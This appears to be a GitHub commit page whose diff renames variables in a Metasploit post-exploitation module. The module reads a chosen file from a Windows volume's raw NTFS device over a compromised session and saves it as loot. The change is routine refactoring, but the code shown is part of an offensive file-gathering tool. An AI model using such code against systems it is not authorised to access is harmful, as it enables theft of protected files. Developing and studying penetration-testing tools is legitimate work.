Skip to content

Commit 2cf9a17

Browse files
committed
variable name clarification (file, file_path, path)
1 parent 5d4a8e2 commit 2cf9a17

File tree

1 file changed

+8
-7
lines changed

1 file changed

+8
-7
lines changed

modules/post/windows/gather/file_in_raw_ntfs.rb

Lines changed: 8 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,7 @@ def initialize(info = {})
2525
))
2626
register_options(
2727
[
28-
OptString.new('FILE', [true, 'The FILE to retreive from the Volume raw device', nil])
28+
OptString.new('FILE_PATH', [true, 'The FILE_PATH to retreive from the Volume raw device', nil])
2929
], self.class)
3030
end
3131

@@ -42,8 +42,8 @@ def run
4242
return
4343
end
4444

45-
file = datastore['FILE']
46-
drive = file[0, 2]
45+
file_path = datastore['FILE_PATH']
46+
drive = file_path[0, 2]
4747

4848
r = client.railgun.kernel32.CreateFileA("\\\\.\\#{drive}", "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE",
4949
nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH", 0)
@@ -56,11 +56,12 @@ def run
5656
print_status("Successfuly opened #{drive}")
5757
begin
5858
fs = Rex::Parser::NTFS.new(self)
59-
print_status("Trying gather #{file}")
60-
data = fs.file(file[3, file.length - 3])
61-
file_name = file.split("\\")[-1]
59+
print_status("Trying gather #{file_path}")
60+
path = file_path[3, file_path.length - 3]
61+
data = fs.file(path)
62+
file_name = file_path.split("\\")[-1]
6263
stored_path = store_loot("windows.file", 'application/octet-stream', session, data, file_name, "Windows file")
63-
print_status("Saving file : #{stored_path}")
64+
print_good("Saving file : #{stored_path}")
6465
rescue ::Exception => e
6566
print_error("Post failed : #{e.backtrace}")
6667
ensure

0 commit comments

Comments
 (0)